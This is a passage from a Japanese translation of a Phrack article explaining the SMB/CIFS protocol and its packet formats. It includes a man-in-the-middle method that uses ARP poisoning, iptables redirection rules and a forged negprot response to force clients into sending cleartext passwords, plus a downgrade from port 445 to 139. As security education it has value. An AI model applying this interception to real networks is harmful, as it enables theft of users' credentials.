Volume 0x0b, Issue 0x3c, Phile #0x0b of 0x10 |=---------------------=[ SMB/CIFS BY THE ROOT ]=------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ ledin ]=-----------------=| --[ 目次 1 - はじめに 2 - SMB/CIFS とは 3 - セッションの確立 クライアントはどのようにしてサーバと SMB セッションを確立するのか 4 - SMB のセキュリティレベル 5 - パスワード 6 - 幾つかの SMB パケットの詳細 6.1 - SMB パケットの一般的な特徴 6.2 - NetBIOS と SMB 6.3 - SMB 基本ヘッダ 6.4 - 重要な SMB コマンドに関する説明 6.5 - わたしが、どのようにして、パスワードが暗号化されている環境 で、ネットワークから平文の SMB パスワードを取り出したか 6.6 - 仲介者攻撃 (man in the middle attack) 6.7 - Windows 2000/XP における TCP 上での SMB 処理についての注記 7 - トランザクションサブプロトコルと RAP コマンド 7.1 - RAP コマンド 8 - RAP コマンドを用いて、サーバ上の利用可能な共有一覧を取得する 8.1 - TconX packets 8.2 - RAP コマンド「NetshareEnum」に関する説明 9 - 最後に 10 - 参考文献 11 - 謝辞 付録 A 付録 B --[ 1 - はじめに この文書で、わたしは CIFS および SMB について、どのように動作する か、またどのような脆弱性がこれらのプロトコルに存在するのかについて、説 明しようと思う。この文書は Microsoft ネットワークについての有用な情報 源にもなるだろう。SMB プロトコルは、LAN 上でもっとも使われているプロト コルの 1 つである。わたしは SMB の動作についてのサンプルを提供する意味 で、ソースコードをこれに含めた。 パスワードが暗号化されている環境で、(brute force attack を用いずに) ネットワークから平文の SMB パスワードを取得するために、ARP poisoning をどのように使ったかも理解できるであろう。SMB と NetBIOS についての関 係も理解することができるであろう。また Microsoft Remote Administration Protocol (RAP) が何か、どのようにしてリモートの SMB サーバ上の共有一覧 を検索するかについても理解することができるだろう。 プログラムおよび情報は学術上の目的に限って提供される。わたしはあな たがこの情報に従って行なったことについて、何ら責任は持てない。 --[ 2 - SMB/CIFS とは Microsoft によると、CIFS とはクライアントシステムがネットワーク上のサー バシステム上にあるファイル、印刷サービスを呼び出すための、オープンなク ロスプラットフォームな機構を提供することを目的としている。これは、パー ソナルコンピュータや、多種多様な OS が実行されているワークステーション により広く使われている標準的な Server Message Block (SMB) プロトコルを 基盤としたものである。 実際のところ、SMB はネットワーク越しの共有ファイル、デバイス、名前つき パイプ、メールスロット間でデータの転送処理を行なうプロトコルである。 CIFS は SMB のパブリック版である。 SMB クライアントは以下から入手可能である : Microsoft 上で : Windows 95, Windows for Workgroups 3.x, Windows NT,2000 and XP Linux 上で : Samba の smblient Linux の smbfs SMB サーバ : Samba Microsoft Windows for Workgroups 3.x Microsoft Windows 95 Microsoft Windows NT Digital (DEC) の PATHWORKS 系列のサーバ LAN Manager for OS/2, SCO など SCO の VisionFS Syntax の TotalNET Advanced Server AT&T (NCR?) の Advanced Server for UNIX IBM の LAN Server for OS/2 --[ 3 - セッションの確立 注意 : SMB プロトコルは (Intel チップ上で動作する) DOS 上で実行させ るために開発された。そのため、バイト順はネットワーク順と異なり、リトル エンディアンである。 SMB は TCP/IP, NetBEUI, DECnet プロトコル, IPX/SPX 上で動作する。 TCP/IP, DECnet, NetBEUI 上での SMB の実装においては、NetBIOS 名が必ず 使われる。 わたしは第 6 章で NetBIOS について説明しようと思う。しかし、NetBIOS 名が Microsoft ネットワーク上で、あるコンピュータを特定するものである ということは知っておく必要がある。 SMB の開発は 80 年代に始まったため、SMB プロトコルには多くのバージョ ンが存在する。しかし、ほとんどの場合 (Windows 95, 98, Windows NT, Windows 2000 および XP) に使われているのは NTLM 0.12 版である。この文 書は NT LM 0.12 版を元に書かれている。 SMB ドメイン名が SMB サーバ上のリソース群(ユーザ、プリンタ、ファイ ルなど)を特定するものであるということは知っておく必要がある。 クライアントは、どのようにしてサーバとの SMB セッションを確立するのか? 以下の状態を考えてみよう: あるクライアントがサーバ上のある特定のリ ソースに対してアクセスしたいと考えている。 1 - はじめに、クライアントはサーバに対して NetBIOS セッションを要求す る。クライアントは自身の NetBIOS 名をエンコードして SMB サーバ(ポート 139 でコネクション要求を待ち受けている) に送信する。 サーバは NetBIOS 名を受信して、セッションを有効にするため、NetBIOS セッ ションパケットを返却する。クライアントは SMB セッションを確立するため の次のステップ、例えばクライアントを SMB サーバに対して識別させること、 などに移行する。 2 - クライアントは SMB negprot リクエストパケット(negprot は negotiate protocol) を送信する。クライアントはサポートする SMB プロトコルのバー ジョン一覧を提示する。 続いてサーバは、 (SMB ドメイン名、最大コネクション数、サポートする SMB プロトコルのバージョンといった情報が含まれる) SMB negprot レスポンスパ ケットを送信する 3 - プロトコルのネゴシエーションの後で、クライアントはサーバに対してユー ザの認証や利用する共有の提示を行なう (どのように行なうか、ユーザと共有 とでどのように処理が異なるかについては次の章を参照のこと)。 この処理は、SesssetupX リクエストパケット (SesssetupX は Session Setup and X) によって行なわれる。 クライアントは、login/password のセットもしくは単純にパスワードだけを サーバに送信し、サーバは SesssetupX のレスポンスパケットで、コネクショ ンを許可するか拒否するかを返答する。 4 - クライアントがネゴシエーションと認証とを完了したら、アクセスしたい リソースのネットワーク名を指定して、tconX パケットを送信する。サーバは Tconx レスポンスパケット中で、コネクションが許可されたかどうかを示す。 NetBIOS セッションのリクエスト (NetBIOS 名) [client] ---------------------------> [server] 1) NetBIOS セッション開設の許可 [client] <-------------------------- [server] SMB negprot リクエスト [client] ---------------------------> [server] 2) SMB negprot レスポンス [client] <-------------------------- [server] SMB sesssetupX リクエスト [client] ---------------------------> [server] 3) SMB sesssetupX レスポンス [client] <-------------------------- [server] SMB TconX リクエスト [client] ---------------------------> [server] 4) SMB TconX レスポンス [client] <-------------------------- [server] 各パケットの詳細な説明は、第 6 章にて行なう。 --[ 4 - SMB のセキュリティレベル SMB 上でのセキュリティモデルには二つのタイプがある: 一つは「共有レベル」セキュリティモデルである。このセキュリティモデ ルでは、パスワードがネットワーク上の共有リソースに対して割り当てられる。 ユーザは適切なパスワードを入力することにより、このリソース(IPC, ディス ク、プリンタ)に接続する。ユーザはリソースが存在するサーバ名を知ってい るネットワーク上の任意の者である。 もう一つは「ユーザレベル」である。このセキュリティモデルは、最初の モデルを拡張した実装である。これには共有リソースに対するログイン/パス ワードのセットを割当て機能が含まれている。そのため、ある者がこの共有リ ソースに接続したいと考え多彩には、ログイン/パスワードのセットを知って いることが必要となる。このセキュリティレベルは誰が何を行なったかを知り たい場合に有用である。 --[ 5 - パスワード SMB においてサーバ上での認証が必要な場合は、パスワードが平文か暗号 化されて送信される。サーバが暗号化をサポートしていれば、クライアントは チャレンジに応答することが必要となる。サーバはパスワードを知っているた め、negprot のリプライパケットにおいて、クライアントから暗号キーが送信 される。クライアントはパスワードを暗号化し、 SesssetupX リクエストパケッ ト中に含めて送信する。サーバはパスワードの正当性を確認し、セッションを 許可するかどうかを決定する。 SMB パスワード(暗号化されていないもの)が最長 14 バイトであることは知っ ておく必要がある。暗号キーの長さは通常 8 バイトである。暗号化パスワー ドの長さは 24 バイトである。ANSI パスワードの場合、パスワードの文字は 暗号化の際に大文字に変換される。 パスワードはブロックモードの DES により暗号化される。 --[6 - 幾つかの SMB パケットに関する詳細 この部分で、わたしは SMB プロトコルに含まれる重要なパケットタイプに ついての詳細を説明したい。これがある意味退屈なことはわかっているが、こ れはどのように SMB が動作し、攻撃が行なわれるかを理解する上で基本とな るものである。わたしはパケットの各タイプで何が非常に重要かを説明する。 各コマンドタイプが、リクエストパケットとレスポンス(リプライ)パケットと いう 2 つの形式に関連している。 ----[ 6.1 - SMB パケットの一般的な特徴 多くの場合、SMB は TCP/IP プロトコル群の上で実行される。そのため、 ここでは SMB は TCP 層の上で実行されると理解しておこう。TCP 層の上には、 常に NetBIOS (NBT) ヘッダが存在する。NBT の上には SMB 基本ヘッダが存在 する。SMB 基本ヘッダの上には、リクエストを行なったコマンドに応じて、別 の形式のヘッダが存在する。 ---------------------- | TCP ヘッダ | ---------------------- | NetBIOS ヘッダ | ---------------------- | SMB 基本ヘッダ | ---------------------- | SMB コマンドヘッダ | ---------------------- | データ | ---------------------- 「SMB 基本ヘッダ」には、受信バッファのサイズ、最大コネクション数といっ た、幾つかの情報が含まれている。これには、リクエストされたコマンドを識 別する番号も含まれている。 「SMB コマンドヘッダ」はリクエストされたコマンド(コマンドとはプロトコ ルバージョンのネゴシエーションなど)に応じたパラメータの全てが格納され たヘッダである。 「データ」はリクエストされたコマンドのデータである。 ここでは、「SMB パケット」を NetBIOS ヘッダ + SMB 基本ヘッダ + SMB コ マンドヘッダ + データ であると定義する。 注意 : ここでは以下の定義を用いる : typedef unsigned char UCHAR; // 8 unsigned bits typedef unsigned short USHORT; // 16 unsigned bits typedef unsigned long ULONG; // 32 unsigned bits また文字列(STRING)とは NULL 終端された ASCII 文字列であると定義する。 ----[ 6.2 - NetBIOS と SMB NetBIOS (NETwork Basic Input and Output System) は Microsoft ネットワー クで広く使われている。これはソフトウェアインタフェースとネーミングシス テムである。各コンピュータは、15 文字の長さで 16番目の文字がコンピュー タのタイプ(ドメインネームサーバ、ワークステションなど) を示すのに使わ れている形式の NetBIOS 名を持っている。 16 番目の文字の値は以下のとおり : 0x00 コンピュータ自体、ワークステーション 0x20 リソース共有サーバ 他にも値はあるが、この 2 つが最も身近なものであろう。最初の値 (0x00) はワークステーションを示し、次の値 (0x20) はサーバを示す。 SMB パケットにおいて、NetBIOS ヘッダは、以下のように定義される NetBIOS セッションヘッダに相当する : UCHAR Type; // パケットのタイプ UCHAR Flags; // フラグ USHORT Length; // データのバイト数(NetBIOS ヘッダは含 まれない) 「Flags」フィールドの値は常に 0 である (SMB として常にそうとは限らないが) 「Type」フィールドには幾つかの値が設定可能である : 0x81 は NetBIOS セッションリクエストを示す。このコード はクライアントが NetBIOS 名をサーバに送信する際に使われる。 0x82 は NetBIOS セッションリクエストに対する肯定応答を 示す。このコードはサーバが NetBIOS セッションを受け入れたことを示す。 0x00 はセッションメッセージを示す。このコードはクライア ントが NetBIOS 名をサーバに送信し、肯定応答を受信した際に確立される SMB セッションで用いられる。 「Length」フィールドはデータのバイト数が記録される (NetBIOS ヘッダは含 まれない)。「データ」は NetBIOS ヘッダに続く内容を示す (これは SMB 基 本ヘッダ + SMB コマンドヘッダ + データもしくは NetBIOS 名である)。 NetBIOS 名とエンコード形式 NetBIOS のエンコード名は 32 バイト長である。 NetBIOS 名は常に大文字である。 NetBIOS 名のエンコードは非常に簡単である。例えば、わたしのコンピュータ の NetBIOS 名が「BILL」であり、これはワークステーションであるため、16 番目の文字が「0x00」であるとしよう。 最初に、NetBIOS 名が 15 バイトより短い場合、右側にスペースをパディング する。 "BILL " 16進数表記では 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00 となる。 各バイトは 4 ビットずつに分割される。 0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 ....... さらに各 4 ビットの値に ASCII の 'A' の値 (0x41) が加えられる。 0x4 + 0x41 = 0x45 -> ASCII value = E 0x2 + 0x41 = 0x43 -> ASCII value = C ... これにより、32 バイト長のエンコードされた NetBIOS 名を得ることができる。 注意 : SMB は NBT を使わずに、直接 TCP 上に搭載することが可能である ( これは Windows 2000 や XP のポート 445 でサポートされている)。なお NetBIOS名 は 15 文字までに制限されている。 NetBIOS について、これ以上の詳細を知る必要はない。もしより詳細な情報を 知りたいなら、[3] および [4] を参照すること。 ----[ 6.3 - SMB 基本ヘッダ このヘッダは全ての SMB パケットで用いられる。以下がその定義である : UCHAR Protocol[4]; // 0xFF,'SMB' を含む UCHAR Command; // コマンドコードである union { struct { UCHAR ErrorClass; // エラークラス UCHAR Reserved; // 将来のため予約 USHORT Error; // エラーコード } DosError; ULONG Status; // 32ビットのエラーコード } Status; UCHAR Flags; // フラグ USHORT Flags2; // 追加のフラグ union { USHORT Pad[6]; // 共用体を 12 バイト長にする struct { USHORT PidHigh; // PIDの高位 ULONG Unused; // 使われていない ULONG Unused2; } Extra; }; USHORT Tid; // ツリー(tree)識別子 USHORT Pid; // 呼出元のプロセスID USHORT Uid; // 認証されていないユーザID USHORT Mid; // 多重化ID UCHAR WordCount; // パラメータのワード数 USHORT ParameterWords[ WordCount ]; // パラメータのデータ USHORT ByteCount; // データのバイト数 UCHAR Buffer[ ByteCount ]; // バイトデータの実体 「Protocol」フィールドには、0xFF の後にプロトコル名 (SMB) が格納される。 「Command」フィールドには、リクエストされたコマンドの値が格納される。 例えば、0x72 は「negotiate protocol」コマンドである。 「Tid」フィールドはクライアントが SMB サーバ上のリソースに接続できた際 に利用される。TID の数値はこのリソースを識別する。 「Pid」フィールドはクライアントがサーバ上にプロセスを生成できた際に使 われる。PID の数値はこのプロセスを識別する。 「Uid」フィールドはユーザがサーバ上で認証された場合に使われる。UID の 数値はこのユーザを識別する。 「Mid」フィールドはクライアントがサーバに対して幾つかのリクエスト (プ ロセス、スレッド、ファイルアクセスなど) を行なった際に PID とセットで 用いられる。 「Flags2」フィールドも重要である。ビット 15 が設定されている場合、この 文字列は Unicode 文字列である。 ----[ 6.4 - 重要な SMB コマンドに関する説明 SMB negotiate Protocol (negprot) negotiate Protocol コマンドは SMB セッションを確立しようとする際に 最初に用いられる。 SMB 基本ヘッダ中の「Command」フィールド中のコマンドコード: 0x72 以下に negprot リクエストおよびレスポンスヘッダの定義を示す : リクエストヘッダ UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes struct { UCHAR BufferFormat; 0x02 -- Dialect UCHAR DialectName[]; ASCII null-terminated string } Dialects[]; このパケットは、サポートする SMB プロトコルのバージョンの一覧をサー バに提示するため、クライアントから送信される。 このパケットについては 3 つのことを言っておく。「WordCount」フィー ルドは常に 0 である。「ByteCount」フィールドは「Dialects」構造体のサイ ズであり、「Dialects」内の「BufferFormat」フィールドは常に 0x02 となる。 「DialectName」文字列には、クライアントがサポートする SMB プロトコ ルバージョンの名前が含まれる。 レスポンスヘッダ UCHAR WordCount; Count of parameter words = 17 USHORT DialectIndex; Index of selected dialect UCHAR SecurityMode; Security mode: bit 0: 0 = share, 1 = user bit 1: 1 = encrypt passwords USHORT MaxMpxCount; Max pending multiplexed requests USHORT MaxNumberVcs; Max VCs between client and server ULONG MaxBufferSize; Max transmit buffer size ULONG MaxRawSize; Maximum raw buffer size ULONG SessionKey; Unique token identifying this session ULONG Capabilities; Server capabilities ULONG SystemTimeLow; System (UTC) time of the server (low). ULONG SystemTimeHigh; System (UTC) time of the server (high). USHORT ServerTimeZone; Time zone of server (min from UTC) UCHAR EncryptionKeyLength; Length of encryption key. USHORT ByteCount; Count of data bytes UCHAR EncryptionKey[]; The challenge encryption key UCHAR OemDomainName[]; The name of the domain (in OEM chars) このパケットはクライアントにサポートする SMB プロトコルのバージョンの 一覧を示すためにサーバから送信される。必要に応じてサーバの SMB ドメイ ン名と暗号キーも送られる。 重要 : 最初に重要なフィールドは「SecurityMode」 バイトである。ビット 0 が設定 されている場合、ユーザレベルのセキュリティが使われる。さもなくば、共有 レベルのセキュリティが使われる。ビット 1 が設定されている場合、パスワー ドはブロックモードの DES で暗号化される。 「SessionKey」フィールドはこのセッションを識別するために使われる。ある セッションでは 1 つのセッションキーが使われる。 「Capabilities」フィールドでは、サーバが Unicode 文字列をサポートする か、NT LM 0.12 特有のコマンドをサポートするかといったことが示される。 ヘッダの最後にデータが送信される。negport レスポンスの場合、データは 「EncryptionKey」および「OemDomainName」の各文字列である。 これら 2 つの文字列の長さは、「ByteCount」フィールドに格納されている。 「EncryptionKey」文字列の長さは「EncryptionKeyLength」フィールドに格納 されている。「EncryptionKey」文字列には、パスワードを暗号化するのに必 要なキーが含まれている。 「OemDomainName」の長さは、 (ByteCount - EncryptionKeyLength) で求めら れる。 「OemDomainName」文字列には、サーバの SMB ドメイン名が (OEM 文字で) 格 納される。 Session setup and X Session Setup and X パケット (SesssetupX もしくは setupx と省略され る)は、ユーザを識別する際や、リソースにアクセスする際にパスワードを提 示する必要がある際に使われる。 Session Setup and X コマンドのコマンドコードは 0x73 である。 リクエストヘッダ UCHAR WordCount; Count of parameter words = 13 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT MaxBufferSize; Client's maximum buffer size USHORT MaxMpxCount; Actual maximum multiplexed pending requests USHORT VcNumber; 0 = first (only), nonzero=additional VC number ULONG SessionKey; Session key (valid iff VcNumber != 0) USHORT Account password size, ANSI CaseInsensitivePasswordLength; USHORT Account password size, Unicode CaseSensitivePasswordLength; ULONG Reserved; must be 0 ULONG Capabilities; Client capabilities USHORT ByteCount; Count of data bytes; min = 0 UCHAR Account Password, ANSI CaseInsensitivePassword[]; UCHAR CaseSensitivePassword[]; Account Password, Unicode STRING AccountName[]; Account Name, Unicode STRING PrimaryDomain[]; Client's primary domain, Unicode STRING NativeOS[]; Client's native operating system, Unicode STRING NativeLanMan[]; Client's native LAN Manager type, Unicode このパケットにはクライアントのシステムに関する多くの情報が格納されている。 「MaxBufferSize」フィールドは特に重要である。これはクライアントが受信 可能な最大データサイズを示す。これを 0 に指定した場合、サーバからはい かなるデータも受け取ることができないであろう。 データ内にも幾つかの文字列がある。最も重要なものは、 「CaseSensitivePassword」(Unicode 文字列のパスワード)と 「CaseInsensitivePassword」(ANSI 文字列のパスワード)である。 この両者のうち片方が使われる。これはサーバが Unicode 文字列をサポート しているかどうかにかかっている (negotiate Protocol のレスポンスパケッ トに関する説明を参照のこと)。パスワードの長さは 「CaseInsensitivePasswordLength 」および「CaseSensitivePasswordLength」 の各フィールドに格納されている。 それ以外の文字列については、説明を参照して欲しい。データのバイト数は、 「ByteCount」フィールドに格納されている。 レスポンスヘッダ UCHAR WordCount; Count of parameter words = 3 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0) USHORT AndXOffset; Offset to next command WordCount USHORT Action; Request mode: bit0 = logged in as GUEST USHORT ByteCount; Count of data bytes STRING NativeOS[]; Server's native operating system STRING NativeLanMan[]; Server's native LAN Manager type STRING PrimaryDomain[]; Server's primary domain このパケットにも、OS タイプ、サーバで動作している SMB サーバソフトウェ アのバージョン、ドメイン名といった多くの情報が含まれている。 接続が失敗した場合、NativeOS, NativeLanman, PrimaryDomain 文字列には何 も格納されない。 これで「固定」部分についての説明を終わった。それでは SMB プロトコルに ついて少し遊んでみよう。 これらについてより詳細を知りたい場合は [1] を参照のこと。 ----[ 6.5 - わたしが、どのようにして、パスワードが暗号化されている環境 で、ネットワークから平文の SMB パスワードを取り出したか セッション確立時に、SMB setupx セッションにおいてパスワードがサーバ に送信される。SMB negprot レスポンスパケットには、「SecurityMode」とい うフィールドにパスワードを暗号化するかどうかを決定するビットが含まれて いる。 そのため、パスワードが暗号化されている環境で、パスワードを解読した いと思った場合は、以下の 2 通りの方法が考えられる。 最初の方法は暗号キーをキャプチャして、暗号化パスワードを brute force 攻撃で取得することである。これにはとても長い時間が必要である。 L0phtCrack (SMBGrinder)、dsniff, readsmb2 のようなプログラムが SMB 暗号化パスワードをキャプチャする。 もう一つの方法は、コネクションをハイジャックして、クライアントにパ スワードが暗号化されてはいけないと信じ込ませる方法である。 この方法は説明するのに難しい点もあるが、どのように行なうかを説明し ておこう。 サーバが暗号化パスワードを使うように設定されている場合、SMB negprot レスポンスパケットでは、「SecurityMode」フィールドのビット 1 がセット されている。しかし、攻撃者がこのビットが 0 にセットされた negprot レス ポンスパケットをサーバより先に送信した場合、パスワードは SessetupX リ クエストパケット中に平文で格納されることになる。 negprot リクエスト [client] ------------------------> [server] [攻撃者は negprot レスポンスを待ちうける] [client] <-------------| [server] | 偽造した negprot レスポンス | [攻撃者は偽造した negprot レスポンスを送信する] 本物の negprot レスポンス [client] <---------------------------------- [server] [ 攻撃者 (何もしない)] パスワードが平文になっている sessetupX リクエスト [client] ----------------------------------> [server] [攻撃者は平文のパスワードを盗聴する] この図では、ネットワーク上のパケットを直接改竄したところを描いている。 多くの場合、偽造した negprot レスポンスの到着は、本物よりも遅れてしま うため、この方法はうまく機能しない。また、セッションが失敗してしまう、 平文パスワードの有効性、スイッチ環境では動作しないなどの問題も抱えてい る。 ARP poisoning を使うことで、これらの問題を回避することができる。 ARP poisoning についての詳細をここで説明するつもりはない。インターネッ ト上で多くのドキュメントを見つけることができるだろう。知らないのであれ ば、とりあえず、この攻撃により攻撃者がサーバとクライアント間のトラヒッ クをリダイレクトして改竄してしまうことが可能であると理解しておいて欲しい。 上記の場合、攻撃者は両者の間に存在していることになる。 この攻撃者が仲介者となる…… ----[ 6.6 - 仲介者攻撃 "Attack where your enemy is not expecting you" Sun Tzu, "The art of war" ここで仲介者攻撃(man in the middle attack)について説明しよう。この攻撃 により、スイッチをバイパスすることが可能となり、コネクションを失敗させ ずにパスワードの平文を取得することが可能になる。 クライアントとサーバ間のトラヒックが攻撃者によってリダイレクトされてい る場合を考えてみよう (ARP poisoning に感謝!)。 クライアントはサーバに対して SMB セッションをリクエストする。 クライアントはパケットをサーバの SMB ポート(139) に送信する。攻撃者は それを 受信するが、そのパケットをそのままサーバにリダイレクトはしない。 サーバの SMB ポート (つまり攻撃者のマシン) に入ってくる通信のすべては、 攻撃者のローカルな 1139 ポートにリダイレクトされる (NAT および iptables を使えばこれは簡単なことである)。 すべてのトラヒック(SMB のみではない)が iptables と NAT によってリダイ レクトされる。 ポート 1139 では、SMB パケットを改竄してリダイレクトするようなプログラ ム(透過型プロキシのプログラム)が動作している。 iptables と NAT に関するコマンドは以下の通りである : (ポート 139 に) 入ってくるトラヒックをローカルポート(例えば 1139) にリ ダイレクトする #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 はクライアントの IP アドレスである すべてのトラヒックをリダイレクトする #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 改竄とはどのようなことか? : 攻撃者は negprot レスポンスを改竄して、パスワードを平文で送信するよう にさせる。攻撃者は暗号キーも手を加える。 攻撃者は暗号キーの長さとして 0 を設定し、暗号キーの代わりにドメイン名 を設定する。 「SecurityMode」フィールドの暗号化ビットの値を 0 にセットする。 これにより、パスワードは暗号化されなくなる。 クライアントは sesssetupx リクエスト中でパスワードを平文のまま送信する。 攻撃者がパスワードを取得したら、それを先ほど手を加えた暗号キーで暗号化 し、sesssetupx リクエストを(暗号化パスワードを用いて)サーバに送信する。 サーバは sesssetupx レスポンスを送信して、セッションの許可もしくは拒否 を行う。攻撃者は sesssetupx レスポンスおよびそれ以降のすべてのトラヒッ クをリダイレクトする。 セッションは失敗せず、誰も仲介者攻撃を受けたことに気づかない。 説明 : ARP-P ARP-P [client] <--------- [attacker] ---------> [server] 攻撃者は ARP Poisoning 攻撃により 2 台のマシン間の全てのトラヒックをリ ダイレクトする。 [client] <---------> [attacker] <---------> [server] トラヒックのリダイレクトは、NAT および iptables によって実現される。 port 139 [client] -----------------> [attacker] [server] 攻撃者は SMB サーバポートに対する最初のパケットを受信する。 [client] ----------------->[attacker 139] [server] | V [attacker 1139] 攻撃者はこれをポート 1139 にリダイレクトする。ポート 1139 では、用意し たプロキシプログラムが待機している。 negprot リクエスト [client] -----------------> [attacker] [server] 攻撃者は negprot リクエストを受信する。 negprot リクエスト [client] [attacker]---------------> [server] 攻撃者は negprot リクエストをサーバに対して直接リダイレクトする。 negprot レスポンス [client] [attacker] <---------------------------- [server] (パスワードを暗号化するため 暗号化ビットを設定している) サーバは、パスワードを暗号化させるための暗号化ビットをセットして negprot レスポンスを返却するが、攻撃者はそのパケットをリダイレクト しない。攻撃者は、暗号化ビットを変更して、平文パスワードを用いるように させる。 negprot レスポンス [client] <----------------------------- [attacker] [server] (パスワードを平文にするため 暗号化ビットを設定していない) 攻撃者は negprot レスポンスの暗号化ビットを改竄し、パスワードを平文で 送信するように設定した上で送信する。 sesssetupX リクエスト [client] ------------------------> [attacker] [server] (平文のパスワード) クライアントはパスワードを平文で送信し、攻撃者はそれを取得する。 sesssetupX リクエスト [client] [attacker] ---------------------> [server] (暗号化パスワード) 攻撃者は、暗号化パスワードを用いて、サーバに対して sesssetupx リクエス トを送信する。 sesssetupX レスポンス [client] <------------- [attacker] <---------------- [server] サーバは sesssetupx レスポンスを送信し、攻撃者はそれをリダイレクトする。 [client] <------------> [attacker] <--------------> [server] 攻撃者は 2 台のマシン間のトラヒックの転送を、この SMB セッションが終了 するまで続ける。 仲介者攻撃の実装を付録 A に示す (NAT および iptables のルールも同じく 示す) 。 ソースコードを確認して欲しい。詳細を知ることができる筈である! ----[ 6.7 - Windows 2000/XP における TCP 上での SMB 処理についての注記 以前に書いたように、Windows 2000/XP においては SMB は直接 TCP 上で実行 される。SMBサーバは 445 ポートでコネクションを待ち受けている。しかし、 これはそれほど「直接」といえるものではないだろう。実際のところ、4 バイ ト長の NetBIOS ヘッダの代わりに 4 バイト長の別のヘッダが必要である。 詳細 : |---------------| | TCP | |---------------| | 特別なヘッダ | |---------------| | SMB BASE HDR | |---------------| この特別なヘッダは以下のように定義される : UCHAR Zero; // 0 に設定される UCHAR Length[3];// データのバイト数を設定する (4 バイ トのヘッダは含まれない) この特別なヘッダは NetBIOS ヘッダと大きく異なるものではない。理由は理 解できるだろう。 これは NetBIOS ヘッダである : UCHAR Type; // パケットのタイプ UCHAR Flags; // フラグ USHORT Length; // データのバイト数 (NetBIOS ヘッダは 含まれない) SMB が TCP 上で実行される場合、NetBIOS リクエストセッションは使われな い。 実際、クライアントおよびサーバの NetBIOS 名は送られない。そのため NetBIOS の「Type」フィールドは常に 0 となる (「Type」フィールドは、 クライアントがエンコードされた NetBIOS 名を送信すると 0 以外 Type = 0x81 になり、応答を受信した場合は Type = 0x82 となる)。SMB セッション の間、Type フィールドは 0 であることを覚えておいて欲しい (これは NetBIOS セッションメッセージの 「Type」コードである)。 最初のバイトについては、全く差異はない。 以降の 3 バイトは以下のとおりである : NetBIOS ヘッダの「Flags」フィールドは常に 0 に設定される。パケットの長 さは特別なヘッダの後半 2 バイトを占める。 後半 3 バイトは同一である。 NetBIOS が使われない場合、NetBIOS および特別なヘッダとの間に差異は全く ない。 ダウングレードアタック : クライアント(Windows 2000 や XP が実行されている)で NBT が有効になって いる場合、常にポート 139 と 445 の両方に接続を行なおうとする。クライア ントにポート 445 からレスポンスがあった場合、クライアントはポート 139 の側に RST パケットを送信する。クライアントにポート 445 からのレスポン スがなかった場合、ポート 139 に接続しようとする。両方からのレスポンス がない場合、セッションは失敗する。 クライアントで NBT が無効になっている場合、クライアントはポート 445 の みに接続しようとする。 ダウングレードアタックを行なうためには、例えばクライアントにポート 445 を使わせず、ポート139 の使用を強制させるには、クライアントに 445 がク ローズされていると思わせれば良い。透過型プロキシを使うことで、これは簡 単に行なえる。iptables を使えば、攻撃者のマシンのポート445 にくるトラ ヒックをクローズされているポートにリダイレクトすることが行なえる。 これにより、クライアントはポート 139 を使うようになる (これを行なう iptables のルールは、付録 A で示す)。 これは、NBT が有効な場合に機能する。 クライアント上で NBT が無効になっている場合は、透過型プロキシは SMB ト ラヒックをポート 445 で処理する。これを行なうためのオプションも用意さ れている。 これで、パスワードを発見するための攻撃についての説明が完了した。続いて SMB の別の重要な側面について勉強しよう。 --[ 7 - トランザクションサブプロトコルと RAP コマンド わたしは、この章で特別な(そして曖昧な) SMB コマンドである RAP コマンド について説明する。 これらのコマンドはトランザクションのサブプロトコルを使う。 わたしはこのサブプロトコルについても説明する。 ----[ 7.1 - トラブザクションサブプロトコル SMB セッションにおいて大量のデータが送信される際や、特別の処理が要求さ れた場合に備えて、SMB プロトコルにはトランザクションサブプロトコルが用 意されている。 トランザクションサブプロトコルは主に SMB Remote Procedude Call : RAP コマンド(RAP は Remote Administrator Protorol) に利用される。 しかし、これについては後で説明する。 トランザクションサブプロトコルは SMB から派生したプロトコルではない。 トランザクションサブプロトコルは SMB のコマンドである。そのため、トラ ンザクションサブプロトコルは SMB 基本ヘッダの層に存在し、トランザクショ ンサブプロトコルのコマンドコードは 0x25 である。 他のコマンドと同様に、リクエストとレスポンスが存在する。 以下がトランザクションリクエストヘッダである : UCHAR WordCount; Count of parameter words; value = (14 + value of the "SetupCount" field) USHORT TotalParameterCount; Total parameter bytes being sent USHORT TotalDataCount; Total data bytes being sent USHORT MaxParameterCount; Max parameter bytes to return USHORT MaxDataCount; Max data bytes to return UCHAR MaxSetupCount; Max setup words to return UCHAR Reserved; USHORT Flags; Additional information: bit 0 - also disconnect TID in TID bit 1 - one-way transaction (no response) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; Parameter bytes sent this buffer USHORT ParameterOffset; Offset (from header start) to Parameters USHORT DataCount; Data bytes sent this buffer USHORT DataOffset; Offset (from header start) to data UCHAR SetupCount; Count of setup words UCHAR Reserved3; Reserved (pad above to word) USHORT Setup[SetupCount]; Setup words (# = SetupWordCount) USHORT ByteCount; Count of data bytes STRING Name[]; Name of transaction (NULL if SMB_COM_TRANSACTION2) UCHAR Pad[]; Pad to SHORT or LONG UCHAR Parameters[ Parameter bytes (# = ParameterCount) ParameterCount]; UCHAR Pad1[]; Pad to SHORT or LONG UCHAR Data[ DataCount ]; Data bytes (# = DataCount) 多くの場合、トランザクションサブプロトコルを使って送信される RAP コマ ンドは、パラメータやデータのバイトを送信するために幾つかのトランザクショ ンのパケットを必要とする場合がある。パラメータのバイトは通常最初に送信 され、その後でデータバイトが送信される。幾つかのトランザクションパケッ トが必要となる場合、サーバは各トランザクションパケットの間に ACK のた めに小さいパケットを送信する : 中間レスポンスパケット : UCHAR WordCount; Count of parameter words = 0 USHORT ByteCount; Count of data bytes = 0 トランザクションリクエストヘッダ内の「TotalParameterCount」フィールド が、送信されるパラメータのバイト数を示す。同様に「TotalDataCount」フィー ルドが送信されるデータのバイト数を示す。 